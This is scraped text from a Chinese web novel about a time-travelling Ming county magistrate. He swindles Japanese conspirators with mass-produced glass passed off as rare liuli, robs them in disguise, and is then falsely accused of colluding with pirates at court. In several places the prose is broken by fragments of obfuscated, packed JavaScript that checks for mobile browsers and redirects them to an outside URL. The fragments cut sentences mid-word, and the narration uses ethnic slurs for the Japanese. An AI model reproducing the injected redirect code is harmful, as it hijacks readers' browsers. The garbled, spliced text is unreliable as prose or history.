随后,徐彦祖眼珠子一转,对褚宁和朱棣笑道:“我知道你们心中有气,不过就这样毒打他们一顿也太便宜他们了,我这里有一个更好的办法。” 紧接着,徐彦祖对两人耳语了一番,让两人先下去准备,而他则是不紧不慢走到小野君的面前,朝小野君伸出了手:“东西呢?” 小野君先是一愣,随后欣喜若狂。 他反应过来,徐彦祖这时打算收下他刚才献上的黄金,只要收下这个东西,就代表要和他们做生意,这样一来他们的目的也就达到了。 于是小野君毫不犹豫,十分恭敬的将盒子放在徐彦祖手上。 然而徐彦祖只是淡淡一瞥,将盒子放在一旁对小野君摇了摇头:“这个只是你们昨晚**的赔偿。” 徐彦祖的意思很明显,想要做生意,光靠这些可不够。 “真是个贪婪的家伙。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793707|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小野君在心中对徐彦祖暗骂一句。 不过徐彦祖越是这样,小野君就觉得计划越能成功实施,他不怕徐彦祖贪,就怕徐彦祖不贪。 随即,小野君又拿出了三根黄金,这些都是他准备和徐彦祖交易的货款,尽管有胡惟庸在背后支持,可胡惟庸也不可能给他准备多少金子。 这六根金锭,还是他用货款的白银换来的。 不过好在,最终徐彦祖还是收下了这金锭,这也让小野君嘴角带上了一抹狞笑。 既然钱都已经收了,徐彦祖自然不会不办事,他叫来衙役:“你去把我房间里那盏琉璃灯拿出来,就我桌子上摆着的那盏,我要给这些东瀛人看看什么叫作宝物。” 衙役闻言,神色古怪的看了徐彦祖一眼。 整个松阳县谁人不知谁人不晓,所谓的琉璃不过是一种名为玻璃的东西,如今在松阳县已经是烂大街道东西,根本就卖不上价格。 然而小野君一行人一听到徐彦祖竟然有一盏琉璃灯,神色都无比的惊讶。 要知道琉璃这种宝物不仅在大明十分稀少,对于他们东瀛而言更是无价之宝! 很快,衙役就端着一盏足足一尺高的琉璃灯放到小野君等人面前。 看到琉璃灯的一瞬间,他们的目光瞬间就被吸引了。 “这……这琉璃灯真是巧夺天工之物,竟然制作都如此精美!绝对是大师的工艺!” 小野君不由感叹。 其他东瀛人爷纷纷起身,将琉璃灯团团围住,小心翼翼的用手去触摸。 看着这群东瀛人如此模样,徐彦祖忍不住笑了起来。 这哪里是什么大师工艺,不过是玻璃厂里批量制造的东西,也好在这些东瀛人昨晚没有入住酒店,不然当他们看到酒店内全都是比这还精美的器具,岂不是要激动都昏死过去。 徐彦祖心底对这群东瀛人十分不屑。 “弹丸之地的让就是没见识,不过既然你们这群东瀛鬼子自己送上门来,那可就别怪我狠狠的宰你们一顿了。” 第七十八章 高价购买 “县令大人,不知这琉璃可否愿意割爱卖给我们?” 不等徐彦祖开口,东瀛人这边就连忙对徐彦祖问道。 甚至还怕徐彦祖不愿意,主动表态道:“只要县令大人你愿意,不管什么价格我们都愿意!” 由此可见,这些东瀛人对这所谓的琉璃是真的喜欢。 见状,徐彦祖思索片刻后还是摇了摇头。 “虽然尔等是从东瀛远道而来的商人,可我这琉璃灯可是花了大价钱大力气找来的,平生本县最喜欢的就是收藏这琉璃器皿,尽管到如今已经收藏了不少,但是每一件都是大师的绝世之作,怎么能用钱来衡量呢。” 徐彦祖故意拒绝并非不想和东瀛人交易,只是欲擒故纵为了卖出更高的价格。 此言一出,东瀛人立马就急了,他们没有想到一个小小的松阳县会有琉璃这等宝物,既然见到了自然要想尽办法将琉璃搞到手。 而且他们刚才听到了什么,徐彦祖说他收藏了不少琉璃,这瞬间就将这些东瀛人的兴趣勾了起来。 “不知县令大人还有多少琉璃器皿?可否让我们见识一番?” 小野君等人眼底闪过一抹转瞬即逝的贪婪。 徐彦祖自然清晰到捕捉到众人眼底的贪婪,殊不知这正是他放出来的诱饵。 “既然诸位想看,那就在此稍等片刻,我这就派人去取。” 说罢,徐彦祖起身找到衙役,对其小声说道:“你现在就派人去玻璃厂,让他们把各种品类不同样式的玻璃器皿全都给我拿一份过来。” 徐彦祖这话让衙役大吃一惊,要知道如今松阳县的玻璃产业经过数年的发展,产出的玻璃器皿种类繁多数不胜数。 平均每一个品类就有十多种样式,要是全都带到县衙来,只怕不下数百个! “县令大人,这会不会有点太多了?” 衙役当然也不喜这些东瀛人,只是他怕带来的东西太多,会把这群东瀛人给吓跑。 徐彦祖摆了摆手,回过头看了一眼小野君等人,只见他们正围着那所谓的琉璃盏惊叹个不停。 “就他们那些没见过世面的样子,不用担心。” 如果不是怕露馅,徐彦祖都想把整个玻璃厂生产的东西一并带来。 很快,就有源源不断的器皿被送到县衙,直接将县衙的院子填满。 徐彦祖也顺势回到堂内,此刻小野君等人还在对着那琉璃盏不断惊叹。 这让徐彦祖嘴角带上了一抹不屑,他对众人说道:“诸位,我收藏的琉璃器皿已经全部运送过来了,如今就在院中。” 听到这话,这群东瀛人争先恐后的朝着院子跑去。 当他们来到院中的时候,望着那一排排堆积如同小山一般的琉璃器皿时,所有人都心头一震,愣在原地。 “这……这么多!全都是琉璃!” 小野君神色更是呼吸急促,随后眼里爆发出贪婪的光芒。 不过他也明白,想要从徐彦祖手中将这些琉璃器皿抢夺过来无异于痴人说梦,只能和徐彦祖进行交易。 因此,小野君郑重其事的走到徐彦祖面前弯腰行礼,而后说道:“县令大人,真没想到您收集了如此多的琉璃器皿,简直让人匪夷所思,但不知您是否愿意割爱,我们是诚心和您做生意的。” 徐彦祖没有说话,只是故意装出一副犹豫不决的样子。 见状,小野君觉得有戏,连忙开价:“县令大人,只要你愿意割爱,我愿意出五千两一件琉璃器皿的价格,有多少我要多少!” 小野君此言一出,不仅是徐彦祖,就连其他东瀛人都将目光落在他的身上。 “小野君你疯了!” 山本太二更是神色大变,在他看来花这么多钱买琉璃器皿根本就是浪费,而且这一次他们是为了栽赃陷害徐彦祖而来,可不是真的来和徐彦祖做生意。 就算是做生意,胡惟庸和小泉太郎也没有给他们那么多的银两。 小野君先是对徐彦祖歉意一笑:“县令大人,可否容我和他们商议一下。” 徐彦祖自然是不置可否,不过为了将戏演的更加逼真,他皱着眉头对小野君说道:“我可没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793708|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应要售卖这些琉璃器皿,这些可都是无价之宝,是历代松阳县令收集了数十年才收集到的东西。” 这话不仅无形中拉高了这些琉璃器皿的珍贵度,更给了小野君压力。 让小野君觉得,倘若不趁徐彦祖犹豫的时候促成这桩交易,只怕后面都不能从徐彦祖手中买到这些琉璃器皿了。 因此,小野君神色凝重的将东瀛人全都叫到一边。 “小野君,我们可不是真来做生意的,你不要忘了我们的目的!” “没错小野君,我们都知道你喜欢琉璃,可是一件五千两银子,那里少说也有一百件琉璃,这可是五十万两银子,我们怎么可能拿得出来这么多钱!” 这一次胡惟庸和小泉太郎是给他们准备了货款,但是也不过是十万两银子,远远不够。 岂料,听到这些话的小野君却根本不为所动,反而对众人问道:“莫非你们觉得一件琉璃器皿不值五千两这个价?” 小野君这话可是将众人给问住了。 琉璃器皿值不值五千两? 那肯定是值得,甚至是物超所值。 在东瀛,就这样一个琉璃器皿,因其稀少罕见的缘故,最少都可以卖到上万两的银子。 可以说五千两卖一个琉璃器皿不仅不贵,而且还赚大了! “可是小野君,我们手里根本就没有那么多的银子,就算有心,只怕也是无力啊。” 众人纷纷摇头。 小野君闻言,却是笑着摇摇头说道:“我们手里没有,但我们背后的人有啊,你们说要是我们将这一批琉璃器皿带回去给小泉太郎大人,会得到多么大的赏赐?” 此言一出,众人眼睛瞬间亮了起来。 毕竟这过手就是数十万甚至上百万两白银的利润,绝对是大功一件! “更何况,如今长庆**陛下正在谋划统一东瀛,对付南边的后圆融**。有了这一批琉璃器皿,不仅我们是大功一件,我们背后的家族在国内的地位也会水涨船高,甚至可以超过怀良亲王!所以这批琉璃器皿我们必须拿下!” 第七十九章 达成交易 小野君的话让众人不禁开始幻想等回国之后会受到多么崇高的礼待。 随即,山本太二第一个站出来表示赞同:“小野君,我同意买下这批琉璃器皿,甚至我建议传讯给家族。” 这话让众人目光一动,传讯给家族,那就是打算给家族谋私了。 不过在场的众人哪个没有这样的心思,如今被山本太二戳破,自然不会继续隐瞒。 “我也同意。” “赞同!” 众人纷纷表态,而这也正是小野君希望看到的。 随后,小野君看向众人说道:“既然如此,那诸位就先去传讯吧,我去和徐彦祖商谈交易。” 等到徐彦祖再次见到小野君的时候,后者已经是满脸自信的神情。 徐彦祖明白,小野君这是和那些东瀛人达成了共识。 不过一想也是,这琉璃器皿在东瀛动辄数万两白银,能以五千两从他手中买走,完全就是捡钱。 “不过我可没有答应五千两就把这些东西卖出去,怎么也得加钱!” 徐彦祖暗暗盘算。 “县令大人,我们已经商议好了,愿意以五千两一个琉璃器皿的价格买下您这所有的琉璃器皿,不知县令大人意下如何?” 小野君看向徐彦祖问道。 然而徐彦祖依旧皱着眉头,他看着信心满满的小野君淡淡说道:“刚才本县就已经说过,可没有答应要售卖这些琉璃器皿,小野君还是请回吧,五千两银子可买不到如此珍贵的琉璃器皿。” 说罢,徐彦祖转身就有要走的打算。 这让小野君面色一变,他连忙上前拦下徐彦祖。 “县令大人,我知道琉璃器皿的珍贵,这样,我再多出一千两白银!” 可即便如此,徐彦祖却依旧不打算停留。 小野君彻底慌了,他不明白徐彦祖的想法,不知道徐彦祖如今到底是因为价格原因还是当真不想售卖这些琉璃器皿。 眼看着徐彦祖就要踏出县衙的门口,小野君咬了咬牙说道:“县令大人,七千两白银!我再加一千两!” 可徐彦祖依旧不为所动。 但就在徐彦祖即将踏出门槛的时候,声音却突然传入小野君的耳中。 “在我们大明有个词叫**挑一,不知小野君你有没有听过这个词?” 徐彦祖的话让小野君脸色一白,**挑一,这已经说的很明白了,徐彦祖要价一万两! 这价格已经远超小野君的心理预期。 正所谓物以稀为贵,别看琉璃在东瀛卖价很高,但是如此多的琉璃一旦涌入东瀛,那势必会导致琉璃的价格暴跌。 想要卖出几万的高价只怕没那么容易。 再加上将这批琉璃运输回去,来回的人力物力也是一笔不小的开支费用。 因此小野君一时间也有些犹豫不决起来。 见状,徐彦祖也不催促。 小野君在心中来回计算之后,最终深深吸了口气后看向徐彦祖说道:“县令大人,一万两银子实在是太多了,我最多只能出到八千两银子,倘若县令大人愿意的话,等到货款一到账我们就立刻交易。” 看小野君这副不成功便成仁的样子,徐彦祖明白这八千两已经是他的底线了。 不过对于徐彦祖而言,不管多少银两他都是稳赚不赔,毕竟这些琉璃器皿在松阳县是烂大街的东西,根本就不值钱。 但徐彦祖还是装出一副勉为其难的样子,叹了口气说道:“俗话说远来是客,看在你诚心交易的份上,就按照八千两的价格来算吧。” 小野君顿时大喜,连忙将这个好消息告知给了众人。 数日之后,当货款到账的那一刻,小野君就迫不及待来找徐彦祖做交易。 正巧,小野君看到徐彦祖身后有衙役在搬动琉璃器皿,这让他顿时有些疑惑。 因为衙役搬动的这些琉璃器皿他从未见过,并不是上次那一批。 他连忙找到徐彦祖询问此事。 “你说那些琉璃器皿啊,是我前些日子托人从海外寻来的珍品,因此并不在交易之中,不过倘若小野君喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐彦祖的话衙役可不敢不听,只能点头。 “其实你也没必要怕,他们不仅不会找我们麻烦,还会谢咱们你信不信?” 徐彦祖朝衙役笑道。 “谢我们?” 衙役挠了挠头。 然而下一秒,只见小野君带着其余的东瀛人一同走到徐彦祖面前,挨个朝徐彦祖行礼,腰都快弯成直角三角板了。 “多谢徐大人!” 一众东瀛人表达了自己的谢意,之后才带着货物离开。 这可把一旁的衙役惊的说不出话来。 “知县大人,他们这是吃错药了吧?” 衙役十分不理解,明明徐彦祖坑了这群人,可为什么他们还要对徐彦祖表达感谢。 徐彦祖则是淡淡一笑,解释道:“你别看这些东西在松阳县不值钱,可要是走商到其他地方,甚至到他们东瀛,谁能知道这些东西不是琉璃?谁又能知道我松阳县可以大规模量产这些东西?因此就算被坑,他们也一样可以从其他人的身上把这些银子给坑回来。” 当然,徐彦祖早就下了命令,让百姓不得透露琉璃厂的事情,加上东瀛人在松阳县本来就不受待见,所以并不知晓其中的端倪。 不过,徐彦祖可没打算让这些人将这些物品带走。 赚小鬼子的钱,那必须得赚两次! 他眸光闪烁,起身朝着门外走去。 与此同时,东瀛人个个喜笑颜开,带着车队朝着城门行驶。 此刻众人都在做着升官发财的美梦,一想到能够将这一批琉璃器皿运送回东瀛,然后再以高价卖出,众人就笑的合不拢嘴。 “这一次,可真要多亏了徐彦祖,如果不是他愿意拿出这么多的琉璃器皿,我们也没有发财的机会,搞得我都不想按照计划行事了。” 山本太二眼里全是贪婪。 “当然,这么大笔钱财徐彦祖也掌管不了,我们还是帮一帮他吧。” 此言一出,众人全都狞笑起来。 他们早就已经想好,等出了松阳县城之后就暴露自己的身份,先给徐彦祖扣上一个和倭寇交易的帽子,然后在暗中潜回去将那些银票全部盗回。 这样一来,他们不仅没有任何损失,还能平白得了一车的琉璃器皿,甚至连栽赃嫁祸徐彦祖的任务也已经达成,简直是一石三鸟之计! 随后,众人出了松阳县城就换上了提前准备好的倭寇衣服。 岂料就在众人打算实施栽赃嫁祸的时候,却发现不远处有一群人策马奔腾而来。 众人定睛一看,发现这些骑马的人身上穿的衣服竟然是他们东瀛的服饰。 “这个地方怎么还会有其他东瀛人出现?是家族里派来接应的人吗?” 众人面面相觑,百思不得其解。 等到那群东瀛人过来后,小野君本想上前询问一番,然而却突然发现这些人脸上全都戴着面具,并且嘴里还用东瀛话让他们将身后的货物全都交出来。 小野君面色一沉,他没想到在这里竟然会被人打劫,并且打劫他的还是老乡! 真不愧是老乡见老乡,背后捅一枪。 小野君上前表明身份,对这些人质问道:“你们是哪个家族的,可知我小野家族的名号,我们身后这批货可是小泉家族要的东西,你们也敢打劫?” 在东瀛,他小野家族虽然只是一个二流家族,可小泉家族却名声在外,乃是一流家族。 小野君本想用小泉家族的名号逼退这些东瀛人。 可领头那人却说着东瀛话回道:“我管你们是哪个家族的,此路是我开,此树是我栽,要想从此过,留下买路财!” “把你们身后的货物,还有你们身上的银两全部留下,我可以放你们一条生路。” 此言一出,小野君等人神色大变。 他们本想反抗,可是突然出现的这群东瀛人武艺高强不说,人数也是他们的好几倍,三下五除二就将他们制服,绑在一旁只能眼睁睁的看着自己刚买的货物还有身上的银票被对方带走。 在临走之前,那领头人还丢了一把小刀到小野君面前。 “既然都是东瀛人,那这次就放你们一条生路。” 说完,领头人策马离开。 小野君则是滚动身子将小刀拿到手里,割破了身上的绳子,紧接着又为其他人松绑。 “小野君,现在我们该怎么办?” 山本太二神色无比愤怒,但同时心里也没了主意。 要知道这一批货可不仅仅是他们替家族购买,其中大头还是小泉太郎的货物,可如今遭遇打劫钱货两空,他真不知道该如何回去交代。 小野君眉头紧锁,而后深深叹了口气道:“事到如今我们也只能回去如实说明情况了,不过松阳县的附近竟然会有倭寇出现,这本身就是一件十分奇怪的事情,这件事情兴许没有表面上看起来那么简单。” 小野君目光闪烁,最后看向身后的松阳县城,他此刻心中隐隐已经有了猜测,怀疑这件事和徐彦祖脱不了干系。 只不过当务之急是先回去禀告小泉太郎和胡惟庸二人,如今以他们的实力,根本不可能回去找徐彦祖报仇。 等到小野君一群人狼狈离开之后,之前抢夺他们的那群人从后面的密林中慢悠悠的走了出来。 紧接着,众人将头上的面具摘下,赫然是徐彦祖一行人。 望着小野君等人逐渐远去的背影,以及身后摆放着的货物和银票,朱棣神色无比震惊。 “徐知县,没想到你连东瀛话都会,我真没想到你会如此博学。” 要知道倘若不是身着东瀛服饰,只怕那群人现在已经有理由回县城闹事了。 “区区东瀛话而已,这有何难,你是不知道,徐彦祖可是精通十六国语言,完全就是行走的百事通!” 褚宁在一旁补充道。 这话让朱棣猛的一震,他没想到徐彦祖竟然会如此多种的语言,大明也不是没有会多国语言的人,可是那些人不仅年纪已经耄耋之年,而且最多的也就会三四国语言,跟徐彦祖完全没办法相提并论。 “徐知县真乃大才,偏居一隅之地当真是屈才了。” 朱棣不禁感叹。 徐彦祖摆了摆手笑道:“区区他国语言而已,不值一提,尤其是这东瀛话,最是好学。” 第八十一章 牢牢掌控 徐彦祖对东瀛比较熟悉。 早在他的前九世,每一世都会领兵攻打东瀛,每一次都会将东瀛打得落花流水,俯首称臣。 东瀛的石见银山,都被徐彦祖带着各个朝代的士兵采了整整九次! 只可惜,徐彦祖在后面几世发现,他所穿越到的朝代,和之前的朝代并不相通,就如同平行世界的不同时间线一般。 看似这些朝代都是从上往下延续,可期间因为时间线不同,因此并不在同一个维度空间当中。 这也就是为什么哪怕徐彦祖在之前的朝代中赫赫有名留下了那么多东西,可是朱元璋等人却查找不到徐彦祖来历的原因。 只因为徐彦祖是凭空出现在这条时间线的大明。 当然,这对徐彦祖也有好处,要是以前做的事情被暴露出来,且不说那些功绩,就说徐彦祖可以活这么多年,对于世间那些有钱有势的人甚至是皇帝,都会有着致命的吸引力。 毕竟,谁人不想永生呢? “将这些东西全都带回去吧,这一次可算是赚大了,也算替你们出了一口恶气。” 徐彦祖朝二人说道。 另外一边,东瀛人快马加鞭回到了应天府。 此时小泉太郎还在胡惟庸府上做客,第一时间就收到了回到应天府内小野君传来的信件。 而胡惟庸如今就在身边,见有人传讯给小泉太郎,连忙问道:“是不是松阳县的事情有进展了?” 小泉太郎笑着点点头:“这就是我派出去的手下传回来的消息,胡相等我一看便知。” 小泉太郎信心满满,这一次他派出去那么多人,只是为了栽赃嫁祸给徐彦祖,这样的事情怎么看都没有失败的可能性,而且他还能从中收获到一大批琉璃器皿,简直是赚的盆满钵满。 随即,他打开信件一看,刚看到一半,脸上那得意的神情就戛然而止,取而代之的是不可置信,紧接着便是愤怒。 甚至当着胡惟庸的面,小泉太郎将信件撕得粉碎,怒道:“岂有此理!简直是岂有此理!这群饭桶都在干什么!” 面对暴怒的小泉太郎,胡惟庸眉头一皱,他不明白小泉太郎为何突然发怒,但想必和刚才的信件有关,同时胡惟庸也在猜想,是不是徐彦祖没有上当。 他不禁对小泉太郎问道:“可是计划出现了什么问题?” 面对胡惟庸的询问,小泉太郎强压下怒火说道:“胡相,计划并没有出现问题,那徐彦祖的确和我的手下进行了交易,但是交易的这批货却被其他东瀛人给劫走了!” 此言一出,胡惟庸脸色也微微一变,不过他却不似小泉太郎那般愤怒。 虽然他对这批货物也有所耳闻,知道其价值不菲,小泉太郎甚至动用了这些年积攒的大半财富,可这是小泉太郎的损失,和他胡惟庸有什么关系,他关心的,只是计划有没有成功。 并且胡惟庸看到小泉太郎吃瘪,心中还暗暗高兴。 “胡相,我要先回去处理此事,先告辞了。” 小泉太郎起身抱拳行礼,随后大步流星离开了相府。 胡惟庸摩挲着胡子,看着小泉太郎急匆匆离去的身影,嘴角带着一丝玩味的笑容。 他招来管家吩咐道:“下去查查小泉太郎,看看究竟发生了什么事情,还有他们损失了多少。” 次日,胡惟庸正在院中喝茶听取,管家就快步前来禀报:“老爷,那人又来了,而且还带了个人来。” 胡惟庸面色波澜不惊,慢悠悠将茶杯放下之后问道:“让你下去查的事情查的怎么样了?” 管家点点头,随后如实回道:“回老爷,小的都已经查清楚了,那小泉太郎的手下在松阳县发现了一批琉璃,以八千两一件的价格将其买回,足足买了一百多件,只是当他们出了松阳之后,这批货就被另外一群东瀛人给劫走了,如今下落不明,不过据小泉那些东瀛人所说,好像是徐彦祖干的。” “八千两一件琉璃?还买了八千多件?” 胡惟庸目光闪烁,他如果没记错的话,自己和小泉太郎为了这一次的事情,每人出了五万两银子。 并且胡惟庸还答应小泉太郎,事成之后这五万两银子就是给他的报酬。 可没想到小泉太郎竟然私自往里面投入了这么多钱,结果还竹篮打水一场空。 “小泉太郎有这么多钱吗?这可是几十万两甚至上百万两的白银。” 胡惟庸有些好奇。 “回老爷,小泉太郎在其中占了大头,似乎是挪用了家族的资金,而他手下那些人也是如此,因此才凑出了这么多钱。” 管家的话让胡惟庸嘴角微微上扬。 “好啊,不管这件事是不是徐彦祖干的,都帮了我一个大忙,我正愁没机会将小泉太郎牢牢掌握在手中,如今倒有了机会。” 胡惟庸眼中精光一闪。 对于胡惟庸而言,小泉太郎不仅仅是和他合作的人,更是他的把柄,知道他不少事情,然而小泉太郎的背后可不仅仅只跟他一人合作。 可如今小泉太郎动用家族的资金,出了这么大的纰漏,这个窟窿绝对填不上,那就只能求助于他。 这样一来,他就抓住了小泉太郎的命脉,可以让其忠心耿耿为自己效力,将其牢牢掌握在自己的手中。 如此一来,就算日后出事,小泉太郎也不敢将自己供出去,毕竟小泉太郎这一脉人的性命都在自己手上。 这么多的钱,把他这一脉的人卖了都赔不起。 “让他们去偏房等候,待我听完这首曲便去。” 胡惟庸挥了挥手,随后专心听起曲来。 等到胡惟庸来到偏房的时候,小泉太郎早已经坐立难安,在房间中来回踱步。 如今见到胡惟庸现身,小泉太郎这才松了一口气,连忙上前对胡惟庸行礼:“参见胡相。” 身后被小泉太郎带来的小野君爷跟着行礼问候。 “行了,有什么事就直说吧,本相今日公务繁忙,没有多少时间。” 胡惟庸语气淡淡,态度不复从前。 小泉太郎也不是傻子,他看胡惟庸这态度就明白胡惟庸知道了事情的经过。 于是他也没藏着掖着,先是将事情的来龙去脉说了一遍,而后对胡惟庸哀求道:“胡相,这一次可只有你才能救我了!” 第八十二章 参奏徐彦祖 胡惟庸没有说话,只是端着茶杯轻抿一口,赞叹道:“好茶,真是好茶。” 小泉太郎见状,知道胡惟庸是个不见兔子不撒鹰的主,自己要是没有好处,想要让胡惟庸帮忙那是绝无可能。 于是,小泉太郎咬了咬牙,直接说道:“我听闻朝廷有攻打海上倭寇的打算,我知道那个家族的几个隐藏地,可以告诉给胡相。” 此言一出,不仅仅是胡惟庸,鸡教练身后的小野君都惊讶的张大了嘴巴。 要知道海上倭寇可是东瀛自己支持的力量,并且其中有不少家族都掺和在其中。 可以说为了对抗大明,给大明制造混乱,东瀛国在海上倭寇的身上投入了不计其数的人力物力。 倘若胡惟庸得到了其中据点的位置,不用全部,只需要三分之一,都可以给这些倭寇带来巨大的打击! 而一旦小泉太郎被查出是他泄露了这些秘密,别说他,就连他身后的小泉家族也会被灭族! 甚至于他们这些依附小泉太郎的人也会受到牵连。 小野君此刻也顾不上什么尊卑了,他上前拼命摇晃小泉太郎的肩膀,质问道:“小泉太郎你特么是不是疯了,一旦泄露这些东西,你知道我们身后的家族都会被一起灭掉吗!” 可面对小野君的质问,小泉太郎却是神色狠厉。 “你真的以为家族那边什么都不知道吗?从你们回来之后,想必家族那边的人就已经得到了消息,如果我不这样做,还没等到家族灭亡,我们就先被家族给处置了!” 小泉太郎想的十分清楚,与其被家族追究责任,还不如将整个家族拖下水。 并且有了胡惟庸当靠山,东瀛那边只会对他更加重视,在事情没有败露之前,绝对不会轻易对他动手。 胡惟庸也看出来了这一点。 他没想到小泉太郎为了保住自己的性命,竟然愿意出卖整个东瀛国。 当然,这对他而言自然是意外之喜。 小泉太郎越是这样,就越难逃脱他的掌控。 再加上如今朱元璋对他已有不满之心,他必须做出点什么功绩来,才能重新获取朱元璋的信任。 倘若能够狠狠打击这些倭寇,那朱元璋就绝对不会动他! 想到这里,胡惟庸叫来管家:“去和院中的那几位大人说一声,就说我身体抱恙,今日不在见客。” 这话也间接告诉了小泉太郎,他的命胡惟庸保了。 不过在攻打倭寇之前,胡惟庸还有个心腹大患没有解决。 他看向小泉太郎问道:“你刚才说怀疑那些松阳县的倭寇是徐彦祖的人,可有证据?” 小泉太郎则是看向了小野君,毕竟小野君才是亲身经历的人。 事到如今,小野君也知道自己只能跟着小泉太郎一条路走到黑,刚才小泉太郎已经说了很清楚了,就算他回到了小野家,丢失了这么大一笔货款,等待他的也不会是什么好结果。 如今,能够帮助他的只有胡惟庸一人。 “回胡相大人,我有证据,我们队伍当中也有汉人,可以出面指认徐彦祖!” 小野君当然没有证据,但他知道胡惟庸想要弄死徐彦祖,根本就不需要什么强有力的证据,只需要有人出来指认就行。 不管那些倭寇到底是不是徐彦祖的人,只要咬死是徐彦祖的人就行。 胡惟庸对小野君的话很是满意,他难得赞许的夸了一句:“不错,你是个聪明人,既然如此,那你明日就带着那汉人随我一同上朝面见皇上,这一次必定要请皇上下令将徐彦祖这个小畜生处死!” 说到最后,胡惟庸面目狰狞,他可不会放任徐彦祖继续活蹦乱跳下去。 次日早朝,朱元璋刚一上朝,就发现群臣的气氛有些不对,众人皆是怒目圆睁的样子。 这让朱元璋十分疑惑,他环视众人一圈后问道:“诸位大臣如此愤怒,可是有什么事情要上奏?” 朱元璋话音刚落,胡惟庸就直接站了出来。 “回奏皇上,臣要参松阳县知县徐彦祖勾结倭寇,养寇自重,恐有造反之心!” 胡惟庸双目含火,语气严厉。 此言一出,身后立刻站出来一大群人拱手附和。 “回皇上,臣等也和胡相一样,参那徐彦祖谋反!” “臣等附议!” 越来越多的大臣站了出来,张口闭口就是徐彦祖勾结倭寇,想要造反。 朱元璋眉头紧皱,他想不明白,徐彦祖怎么能够和造反搭上边,并且其中还有倭寇的影子。 当然,他也知道胡惟庸一直想要对徐彦祖动手,如今在朝堂上公然对徐彦祖发难,很有可能是胡惟庸的阴谋,是对徐彦祖的栽赃陷害。 当然,朱元璋也不可能当着众大臣的面偏袒徐彦祖,究竟发生了什么事情还是要问清楚。 只不过在朱元璋的心中,是绝对不相信徐彦祖有造反之心的。 要是连徐彦祖这等为国为民的忠臣都要造反的话,那他大明离亡国也就不远了。 于是,朱元璋看向胡惟庸,对其问道:“你刚才说要参松阳知县造反?他一个小小的知县,区区一个七品官员,他拿什么造反?他有什么能力造反?就他一年的俸禄,只怕连一群死士都养不起。” 面对朱元璋的询问,胡惟庸挺身回道:“陛下此言差矣,并非要有能力才可以造反,正所谓星星之火可以燎原,有些人虽无造反的能力,可却有一颗造反的心,这样的人往往是最可怕的。” “而徐彦祖,明显就是这样的人!” 随后,胡惟庸将徐彦祖是如何坑害过往的商旅,又如何指使倭寇抢夺商旅财物一事添油加醋说了一遍。 到最后,胡惟庸转头看向身后的百官问道:“诸位大臣觉得,像徐彦祖这样的人,这样的行为,是不是有造反的意图?” 胡惟庸此言一出,身后的官员纷纷响应附和。 而朱元璋则是高坐在龙椅之上皱起了眉头。 他没想到这件事情竟然还牵扯到了倭寇! 第八十三章 徐彦祖通倭 “松阳县竟然出现了倭寇?” 朱元璋眉头一皱,不过他可不会相信胡惟庸的一面之词。 要知道松阳县并不靠近沿海,怎么可能会出现倭寇,至于这些倭寇和徐彦祖有关系,那更是无稽之谈。 朱元璋和马皇后在松阳县住了那么长的时间,带去了大批的锦衣卫,倘若当真有倭寇的话,早就被锦衣卫给发现了。 所以朱元璋断定,这是胡惟庸对徐彦祖的污蔑。 于是他看向胡惟庸,话语里带着对徐彦祖的偏颇说道:“那徐彦祖咱见过,是个为国为民的好官。这等人绝不会养寇自重,何况这些话只是些捕风捉影的话,并无实质性的证据,左丞相还是不要听信他人之言为好。” 朱元璋此言一出,可以说完全表态站在了徐彦祖这一边。 然而胡惟庸岂会不知没有实质性的证据根本无法对付徐彦祖,因此他再度拱手朝朱元璋回道:“启奏皇上,臣并非捕风捉影,而是那商旅中有人前来告发,此乃人证,更是在交手中夺取到了那倭寇的兵器,上面刻有松阳二字,此乃物证。” 这人证物证自然是胡惟庸伪造的。 正所谓做戏做全套,有了这些东西,就算朱元璋不想彻查徐彦祖也只能下令。 而且这还没完。 胡惟庸要的可不是朱元璋高高举起轻轻放下的姿态。 他要把这件事情彻底闹大,闹到最后无法收场。 到了那个时候,哪怕最终查到徐彦祖无嘴,可靠着悠悠众口,也能彻底逼死徐彦祖。 于是,胡惟庸再度开口,只不过这一次开口先看了一眼诸位大臣,随后做出一副痛心疾首的样子说道:“臣这段时日以来,也特意派人去了解有关徐彦祖这位七品县令的事迹,发现此人的确是一位好官,可知人知面不知心,臣派去的人还搜集到了他一些贪赃枉法的证据。” 这话完全就是在往徐彦祖身上泼脏水。 “可是在臣看来,只要为官一心为民,即便有些毛病也无伤大雅。谁料他竟然勾结倭寇,意图造反。如此看来之前那些所做为国为民之事都只是他谋反养寇的伪装,皇上您是被他所蒙蔽了啊!” 胡惟庸说到最后声音悲痛。 可以说胡惟庸这番话一出,完全就将徐彦祖置于死地。 甚至还避免了朱元璋替徐彦祖辩护,将徐彦祖定义成一个欺上瞒下之人。 而徐彦祖之前所做的那些功绩,更是在这番话中化为乌有,全部变成了养寇自重的掩饰。 朱元璋神色一凝,他深深的看了胡惟庸一眼。 